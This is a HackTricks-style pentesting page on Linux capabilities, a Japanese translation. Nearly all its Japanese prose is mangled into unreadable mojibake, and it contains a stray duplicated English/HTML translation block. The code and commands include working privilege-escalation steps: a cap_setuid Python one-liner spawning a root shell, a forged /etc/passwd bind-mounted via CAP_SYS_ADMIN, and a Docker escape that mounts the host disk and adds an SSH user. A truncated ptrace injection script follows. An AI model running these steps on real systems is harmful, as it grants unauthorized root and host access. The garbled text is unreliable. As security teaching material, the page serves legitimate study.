82 KiB
Linux Capabilities
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
- ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãææ°ããŒãžã§ã³ã®PEASSã«ã¢ã¯ã»ã¹ãããã§ããããŸãã¯HackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS FamilyãèŠã€ããŠãã ãããç§ãã¡ã®ç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³
- å ¬åŒã®PEASSïŒHackTricks swagãæã«å ¥ããŸããã
- ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ç§ããã©ããŒããŠãã ããðŠ@carlospolopm.
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricks repoãšhacktricks-cloud repoã«PRãæåºããŠãã ããã
âââââââââRootedCONã¯ãã¹ãã€ã³ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããããšãŒãããã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ããããšãç®çãšããŠããã®äŒè°ã¯ããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã®ããã®æŽ»æ°ãã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
ãªãcapabilitiesã䜿çšããã®ãïŒ
Linuxã®capabilitiesã¯ãããã»ã¹ã«å©çšå¯èœãªrootæš©éã®äžéšãæäŸããŸããããã«ãããrootæš©éãããå°ããç¬ç«ããåäœã«åå²ãããŸããããããã®åäœã¯åå¥ã«ããã»ã¹ã«ä»äžããããšãã§ããŸããããã«ãããç¹æš©ã®ã»ãããæžå°ããæ»æãªã¹ã¯ãäœäžããŸãã
Linuxã®capabilitiesãã©ã®ããã«æ©èœããããããããç解ããããã«ããŸãã¯è§£æ±ºããããšããŠããåé¡ãèŠãŠã¿ãŸãããã
éåžžã®ãŠãŒã¶ãŒãšããŠããã»ã¹ãå®è¡ããŠãããšä»®å®ããŸããããããã¯ç¹æš©ãæããªãããšãæå³ããŸããææè ãã°ã«ãŒãããŸãã¯ãã¹ãŠã®ãŠãŒã¶ãŒã«ãã£ãŠã¢ã¯ã»ã¹ãèš±å¯ãããŠããããŒã¿ã«ã®ã¿ã¢ã¯ã»ã¹ã§ããŸããããæç¹ã§ãããã»ã¹ã¯ãããã¯ãŒã¯ãœã±ãããéããªã©ãå°ãå€ãã®æš©éãå¿ èŠã«ãªãå ŽåããããŸããåé¡ã¯ãéåžžã®ãŠãŒã¶ãŒã¯ãœã±ãããéãããšãã§ããªããšããããšã§ãããªããªããããã«ã¯rootæš©éãå¿ èŠã ããã§ãã
Capabilitiesã»ãã
ç¶æ¿ãããcapabilities
CapEff: æå¹ãª capabilityã»ããã¯ãããã»ã¹ãçŸåšäœ¿çšããŠãããã¹ãŠã®capabilitiesãè¡šããŸãïŒããã¯ãã«ãŒãã«ãèš±å¯ãã§ãã¯ã«äœ¿çšããcapabilitiesã®å®éã®ã»ããã§ãïŒããã¡ã€ã«capabilitiesã®å Žåãæå¹ãªã»ããã¯ããã€ããªã®å®è¡æã«èš±å¯ãããã»ããã®capabilitiesãæå¹ãªã»ããã«ç§»åãããã©ããã瀺ãåäžã®ãããã§ããããã«ãããcapabilitiesãèªèããŠããªããã€ããªã§ããç¹å¥ãªã·ã¹ãã ã³ãŒã«ãçºè¡ããã«ãã¡ã€ã«capabilitiesã䜿çšããããšãã§ããŸãã
CapPrm: (èš±å¯ããã) ããã¯ãã¹ã¬ãããã¹ã¬ããã®èš±å¯ãããã»ãããŸãã¯ã¹ã¬ããã®ç¶æ¿å¯èœãªã»ããã«è¿œå ã§ããcapabilitiesã®ã¹ãŒããŒã»ããã§ããã¹ã¬ããã¯capset()ã·ã¹ãã ã³ãŒã«ã䜿çšããŠcapabilitiesã管çã§ããŸããã¹ã¬ããã¯ä»»æã®ã»ããããä»»æã®capabilityãåé€ã§ããŸãããã¹ã¬ããã®èš±å¯ãããã»ããã«ååšããcapabilitiesã®ã¿ãã¹ã¬ããã®æå¹ãªã»ãããšç¶æ¿å¯èœãªã»ããã«è¿œå ã§ããŸãããããã£ãŠãã¹ã¬ããã®æå¹ãªã»ããã«cap_setpcap capabilityãããå Žåãé€ããã¹ã¬ããã®èš±å¯ãããã»ããã«ã¯ä»»æã®capabilityãè¿œå ã§ããŸããã
CapInh: ç¶æ¿ ã»ããã䜿çšãããšã芪ããã»ã¹ããç¶æ¿ã§ããcapabilitiesãæå®ã§ããŸããããã«ãããããã»ã¹ãå¿
èŠã®ãªãcapabilitiesãåãåãããšãé²ãããšãã§ããŸãããã®ã»ããã¯execve
ãä»ããŠä¿æãããéåžžã¯åããã»ã¹ã«capabilitiesãæäŸããããã»ã¹ã«ãã£ãŠèšå®ãããŸãã
CapBnd: ããŠã³ãã£ã³ã° ã»ããã䜿çšãããšãããã»ã¹ãåãåãããšãã§ããcapabilitiesãå¶éããããšãã§ããŸããããŠã³ãã£ã³ã°ã»ããã«ååšããcapabilitiesã®ã¿ããç¶æ¿å¯èœãªã»ãããšèš±å¯ãããã»ããã§èš±å¯ãããŸãã
CapAmb: ã¢ã³ããšã³ã capabilityã»ããã¯ããã¡ã€ã«capabilitiesãæããªããã¹ãŠã®éSUIDãã€ããªã«é©çšãããŸããããã¯ãexecve
ãåŒã³åºãéã«capabilitiesãä¿æããŸãããã ããã¢ã³ããšã³ãã»ããã®ãã¹ãŠã®capabilitiesãä¿æãããããã§ã¯ãããŸããããªããªããç¶æ¿å¯èœãªã»ãããŸãã¯èš±å¯ãããcapabilityã»ããã«ååšããªãå Žåãcapabilitiesãåé€ãããããã§ãããã®ã»ããã¯execve
åŒã³åºããä»ããŠä¿æãããŸãã
ã¹ã¬ãããšãã¡ã€ã«ã®capabilitiesã®éããšãcapabilitiesãã¹ã¬ããã«ã©ã®ããã«æž¡ããããã®è©³çŽ°ãªèª¬æã«ã€ããŠã¯ã次ã®ããŒãžãåç §ããŠãã ããïŒ
- https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
- https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
ããã»ã¹ãšãã€ããªã®Capabilities
ããã»ã¹ã®Capabilities
ç¹å®ã®ããã»ã¹ã®capabilitiesã確èªããã«ã¯ã/procãã£ã¬ã¯ããªã®statusãã¡ã€ã«ã䜿çšããŸãã詳现æ
å ±ãæäŸãããããLinuxã®capabilitiesã«é¢é£ããæ
å ±ã«éå®ããŸãã
å®è¡äžã®ãã¹ãŠã®ããã»ã¹ã«ã€ããŠãcapabilitiesæ
å ±ã¯ã¹ã¬ããããšã«ä¿æãããŸãããã¡ã€ã«ã·ã¹ãã ã®ãã€ããªã«ã€ããŠã¯ãæ¡åŒµå±æ§ã«æ ŒçŽãããŸãã
capabilitiesã®å®çŸ©ã¯/usr/include/linux/capability.hã«ãããŸãã
çŸåšã®ããã»ã¹ã®capabilitiesã¯cat /proc/self/status
ãŸãã¯capsh --print
ã§ãä»ã®ãŠãŒã¶ãŒã®capabilitiesã¯/proc/<pid>/status
ã§ç¢ºèªã§ããŸãã
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
ãã®ã³ãã³ãã¯ãã»ãšãã©ã®ã·ã¹ãã ã§5è¡ãè¿ãã¯ãã§ãã
- CapInh = ç¶æ¿ãããæ©èœ
- CapPrm = èš±å¯ãããæ©èœ
- CapEff = æå¹ãªæ©èœ
- CapBnd = ããŠã³ãã£ã³ã°ã»ãã
- CapAmb = ã¢ã³ããšã³ãæ©èœã»ãã
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
ãããã®16é²æ°ã¯æå³ããªããŸãããcapshãŠãŒãã£ãªãã£ã䜿çšããŠãããããæ©èœåã«ãã³ãŒãããããšãã§ããŸãã
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
ãããä»åºŠã¯ping
ã䜿çšããcapabilitiesã確èªããŸãããã
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
ããã¯æ©èœããŸãããå¥ã®ããç°¡åãªæ¹æ³ããããŸããå®è¡äžã®ããã»ã¹ã®æ©èœã確èªããã«ã¯ãåã«getpcapsããŒã«ã䜿çšãããã®åŸã«ããã»ã¹IDïŒPIDïŒãæå®ããŸããè€æ°ã®ããã»ã¹IDã®ãªã¹ããæå®ã§ããŸãã
getpcaps 1234
以äžã¯ãtcpdump
ã®æ©èœã確èªããŸãããã€ããªã«ååãªæ©èœïŒcap_net_admin
ãšcap_net_raw
ïŒãäžããŠããããã¯ãŒã¯ãã¹ãããããããšãã§ããŸãïŒtcpdumpã¯ããã»ã¹9562ã§å®è¡ãããŠããŸãïŒ:
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
äžããããæ©èœã¯ããã€ããªã®æ©èœãååŸãã2ã€ã®æ¹æ³ã®çµæã«å¯Ÿå¿ããŠããŸãã
_getpcaps_ããŒã«ã¯ãç¹å®ã®ã¹ã¬ããã®å©çšå¯èœãªæ©èœãã¯ãšãªããããã«**capget()**ã·ã¹ãã ã³ãŒã«ã䜿çšããŸãããã®ã·ã¹ãã ã³ãŒã«ã§ã¯ãPIDãæäŸããã ãã§ããå€ãã®æ
å ±ãååŸã§ããŸãã
ãã€ããªã®æ©èœ
ãã€ããªã¯ãå®è¡äžã«äœ¿çšã§ããæ©èœãæã€ããšããããŸããããšãã°ãping
ãã€ããªã«ã¯cap_net_raw
æ©èœãéåžžã«äžè¬çã«ååšããŸãã
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
次ã®ã³ãã³ãã䜿çšããŠãæ©èœãæã€ãã€ããªãæ€çŽ¢ã§ããŸãã
getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
capshã䜿çšããŠæš©éãåé€ãã
CAP_NET_RAWã®æš©éã_ping_ããåé€ãããšãpingãŠãŒãã£ãªãã£ã¯ãã¯ãæ©èœããªããªããŸãã
capsh --drop=cap_net_raw --print -- -c "tcpdump"
_capsh_èªäœã®åºåã«å ããŠã_tcpdump_ã³ãã³ãèªäœããšã©ãŒãçºçãããã¹ãã§ãã
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
ãã®ãšã©ãŒã¯ãpingã³ãã³ããICMPãœã±ãããéãããšãèš±å¯ãããŠããªãããšãæ確ã«ç€ºããŠããŸããããã§ãæåŸ ã©ããã«åäœããããšã確èªã§ããŸããã
ãã£ãããªãã£ã®åé€
ãã€ããªã®ãã£ãããªãã£ãåé€ããããšãã§ããŸãã
setcap -r </path/to/binary>
ãŠãŒã¶ãŒã®æš©é
ããããããŠãŒã¶ãŒã«ãæš©éãå²ãåœãŠãããšãã§ããããã§ããããã¯ããããããŠãŒã¶ãŒãå®è¡ãããã¹ãŠã®ããã»ã¹ããŠãŒã¶ãŒã®æš©éã䜿çšã§ããããšãæå³ããŸãã
ãã¡ãããã¡ããããã³ãã¡ããåèã«ãç¹å®ã®æš©éããŠãŒã¶ãŒã«å²ãåœãŠãããã«ããã€ãã®ãã¡ã€ã«ãèšå®ããå¿
èŠããããŸãããåãŠãŒã¶ãŒã«æš©éãå²ãåœãŠãããã®ãã¡ã€ã«ã¯ /etc/security/capability.conf
ã§ãã
ãã¡ã€ã«ã®äŸïŒ
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
ç°å¢ã®æ©èœ
以äžã®ããã°ã©ã ãã³ã³ãã€ã«ãããšãæ©èœãæäŸããç°å¢å ã§bashã·ã§ã«ãèµ·åããããšãã§ããŸãã
{% code title="ambient.c" %}
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
{% endcode %}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
ã³ã³ãã€ã«ãããç°å¢ãã€ããªã«ãã£ãŠå®è¡ãããbashå ã§ãæ°ããæ©èœã芳å¯ããããšãã§ããŸãïŒéåžžã®ãŠãŒã¶ãŒã¯ãçŸåšã®ãã»ã¯ã·ã§ã³ã«ã¯äœã®æ©èœãæã£ãŠããŸããïŒã
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
{% hint style="danger" %} èš±å¯ãããã»ãããšç¶æ¿å¯èœãªã»ããã®äž¡æ¹ã«ååšããæ©èœã®ã¿ãè¿œå ã§ããŸãã {% endhint %}
æ©èœå¯Ÿå¿/æ©èœé察å¿ã®ãã€ããª
æ©èœå¯Ÿå¿ã®ãã€ããªã¯ãç°å¢ã§äžããããæ°ããæ©èœã䜿çšããŸããããæ©èœé察å¿ã®ãã€ããªã¯ããããæåŠããªãããã䜿çšããŸããããã«ãããæ©èœé察å¿ã®ãã€ããªã¯ãæ©èœããã€ããªã«ä»äžããç¹å¥ãªç°å¢å ã§è匱ã«ãªããŸãã
ãµãŒãã¹ã®æ©èœ
ããã©ã«ãã§ã¯ãrootãšããŠå®è¡ããããµãŒãã¹ã«ã¯ãã¹ãŠã®æ©èœãå²ãåœãŠãããŸãããå Žåã«ãã£ãŠã¯ããã¯å±éºã§ãã
ãããã£ãŠããµãŒãã¹ã®èšå®ãã¡ã€ã«ã§ã¯ããµãŒãã¹ãäžå¿
èŠãªç¹æš©ã§å®è¡ãããã®ãé¿ããããã«ãæã£ãŠããã¹ãæ©èœãšå®è¡ãããŠãŒã¶ãŒãæå®ããããšãã§ããŸãã
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
Dockerã³ã³ããã®æ©èœ
ããã©ã«ãã§ã¯ãDockerã¯ã³ã³ããã«ããã€ãã®æ©èœãå²ãåœãŠãŸãããããã®æ©èœã確èªããã«ã¯ã次ã®ã³ãã³ããå®è¡ããã ãã§ãã
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
ââââââââââRootedCONã¯ãã¹ãã€ã³ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããããšãŒãããã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ããããšã䜿åœãšããŠãããã®äŒè°ã¯ãããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã®ããã®æŽ»æ°ãã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
Privesc/Container Escape
ç¹æš©æäœãå®è¡ããåŸã«ãèªåèªèº«ã®ããã»ã¹ãå¶éãããå Žåã«ã¯ãæ©èœã¯äŸ¿å©ã§ãïŒäŸïŒchrootã®èšå®ããœã±ãããžã®ãã€ã³ãã®åŸïŒããã ãããããã¯æªæã®ããã³ãã³ããåŒæ°ãæž¡ãããšã§æªçšãããå¯èœæ§ãããããã®å Žåã¯rootãšããŠå®è¡ãããŸãã
setcap
ã䜿çšããŠããã°ã©ã ã«æ©èœã匷å¶ããgetcap
ã䜿çšããŠããããã¯ãšãªã§ããŸãã
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
+ep
ã¯ãèœåãè¿œå ããããšãæå³ããŸãïŒã-ãã¯åé€ããããšãæå³ããŸãïŒããEffectiveïŒæå¹ïŒãšPermittedïŒèš±å¯ïŒãšããŠè¿œå ãããŸãã
ã·ã¹ãã ãŸãã¯ãã©ã«ãå ã®ããã°ã©ã ãç¹å®ããã«ã¯ã次ã®æé ãå®è¡ããŸãïŒ
getcap -r / 2>/dev/null
æ»æäŸ
以äžã®äŸã§ã¯ããã€ã㪠/usr/bin/python2.6
ãç¹æš©ææ Œã®è匱æ§ãããããšãããããŸããã
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
ãã±ããã®ã¹ãããã£ã³ã°ãä»»æã®ãŠãŒã¶ãŒã«èš±å¯ããããã«å¿
èŠãª tcpdump
ã® CapabilitiesïŒ
To allow any user to sniff packets using `tcpdump`, the following capabilities need to be granted:
1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.
To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows:
```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
After granting these capabilities, any user will be able to use tcpdump
to sniff packets without requiring root privileges.
```html
<p>ä»»æã®ãŠãŒã¶ãŒã`tcpdump`ã䜿çšããŠãã±ãããã¹ãããããããã«ã¯ã次ã®æ©èœãä»äžãããå¿
èŠããããŸãïŒ</p>
<ol>
<li><code>CAP_NET_RAW</code>ïŒãã®æ©èœã«ããããŠãŒã¶ãŒã¯ãã±ããã¹ãããã£ã³ã°ã«å¿
èŠãªçã®ãœã±ãããäœæã§ããŸãã</li>
</ol>
<p>ãããã®æ©èœã`tcpdump`ã«ä»äžããã«ã¯ã次ã®ããã«`setcap`ã³ãã³ãã䜿çšã§ããŸãïŒ</p>
<pre><code>sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
</code></pre>
<p>ãããã®æ©èœãä»äžããåŸãä»»æã®ãŠãŒã¶ãŒã¯ã«ãŒãæš©éãå¿
èŠãšããã«`tcpdump`ã䜿çšããŠãã±ãããã¹ãããã§ããŸãã</p>
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
"空"ã®æš©éã®ç¹æ®ãªã±ãŒã¹
泚æããŠãã ãããããã°ã©ã ãã¡ã€ã«ã«ç©ºã®æš©éã»ãããå²ãåœãŠãããšãã§ãããããå®è¡ããããã»ã¹ã®æå¹ãªãŠãŒã¶ãŒIDãšä¿åããããŠãŒã¶ãŒIDã0ã«å€æŽãããããã®ããã»ã¹ã«æš©éãäžããªãset-user-ID-rootããã°ã©ã ãäœæããããšãå¯èœã§ããèŠããã«ã次ã®æ¡ä»¶ãæºãããã€ããªãããå ŽåïŒ
- rootã®ææã§ã¯ãªã
SUID
/SGID
ããããèšå®ãããŠããªã- 空ã®æš©éã»ãããèšå®ãããŠããïŒäŸïŒ
getcap myelf
ãmyelf =ep
ãè¿ãïŒ
ãã®ãã€ããªã¯rootãšããŠå®è¡ãããŸãã
CAP_SYS_ADMIN
CAP_SYS_ADMINã¯äž»ã«ãã£ãããªãŒã«ã®æ©èœã§ãããè¿œå ã®æš©éãŸãã¯å®å
šãªrootïŒéåžžã¯ãã¹ãŠã®æš©éãžã®ã¢ã¯ã»ã¹ïŒã«ç°¡åã«ã€ãªããããšããããŸããCAP_SYS_ADMIN
ã¯ãããŸããŸãªç®¡çæäœãå®è¡ããããã«å¿
èŠã§ãããç¹æš©æäœãã³ã³ããå
ã§å®è¡ãããå Žåãã³ã³ããããåé€ããããšã¯å°é£ã§ãããã®æ©èœãä¿æããããšã¯ãåã
ã®ã¢ããªã±ãŒã·ã§ã³ã³ã³ãããããã·ã¹ãã å
šäœãæš¡å£ããã³ã³ããã«ãšã£ãŠãã°ãã°å¿
èŠã§ãããã®ä»ã®ããšã«å ããŠãããã«ããããã€ã¹ã®ããŠã³ããrelease_agentã®æªçšã«ããã³ã³ããããã®è±åºãå¯èœã«ãªããŸãã
ãã€ããªã®äŸ
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
Pythonã䜿çšããŠãå®éã®_passwd_ãã¡ã€ã«ã®äžã«ä¿®æ£ããã_passwd_ãã¡ã€ã«ãããŠã³ãããããšãã§ããŸãã
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
ãããŠãä¿®æ£ããpasswd
ãã¡ã€ã«ã/etc/passwd
ã«ããŠã³ãããŸãïŒ
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
ãããŠããã¹ã¯ãŒããpasswordãã䜿çšããŠ**su
ã§rootãšããŠãã°ã€ã³**ããããšãã§ããŸãã
ç°å¢ã®äŸïŒDockerã®è±åºïŒ
次ã®ã³ãã³ãã䜿çšããŠãDockerã³ã³ããå ã§æå¹ãªæ©èœã確èªã§ããŸãã
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
åã®åºåã®äžã§ãSYS_ADMINã®æ©èœãæå¹ã«ãªã£ãŠããããšãããããŸãã
- ããŠã³ã
ããã«ãããDockerã³ã³ããã¯ãã¹ããã£ã¹ã¯ãããŠã³ãããèªç±ã«ã¢ã¯ã»ã¹ããããšãã§ããŸãã
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
- å®å šãªã¢ã¯ã»ã¹
åã®æ¹æ³ã§ã¯ãDockerãã¹ãã®ãã£ã¹ã¯ã«ã¢ã¯ã»ã¹ã§ããŸããã
ãã¹ããsshãµãŒããŒãå®è¡ããŠããå ŽåãDockerãã¹ãã®ãã£ã¹ã¯å
ã«ãŠãŒã¶ãŒãäœæããSSHçµç±ã§ã¢ã¯ã»ã¹ããããšãã§ããŸãã
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
CAP_SYS_PTRACE
ããã¯ããã¹ãå
ã§å®è¡ãããŠããããã»ã¹å
ã«ã·ã§ã«ã³ãŒãã泚å
¥ããããšã§ãã³ã³ããããè±åºããããšãã§ããããšãæå³ããŸãã ãã¹ãå
ã§å®è¡ãããŠããããã»ã¹ã«ã¢ã¯ã»ã¹ããããã«ã¯ãã³ã³ãããå°ãªããšã --pid=host
ãªãã·ã§ã³ã§å®è¡ããå¿
èŠããããŸãã
CAP_SYS_PTRACE ã¯ãptrace(2)
ããã³æè¿å°å
¥ãããã¯ãã¹ã¡ã¢ãªã¢ã¿ããã·ã¹ãã ã³ãŒã«ïŒprocess_vm_readv(2)
ããã³ process_vm_writev(2)
ïŒã䜿çšããããšãèš±å¯ããŸãããã®æ©èœãèš±å¯ãããptrace(2)
ã·ã¹ãã ã³ãŒã«èªäœã seccomp ãã£ã«ã¿ã«ãã£ãŠãããã¯ãããŠããªãå Žåãæ»æè
ã¯ä»ã® seccomp å¶éããã€ãã¹ããããšãã§ããŸããptrace ãèš±å¯ãããŠããå Žåã® seccomp ãã€ãã¹ã® PoC ãã以äžã® PoC ãåç
§ããŠãã ããã
ãã€ããªïŒPythonïŒã®äŸ
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
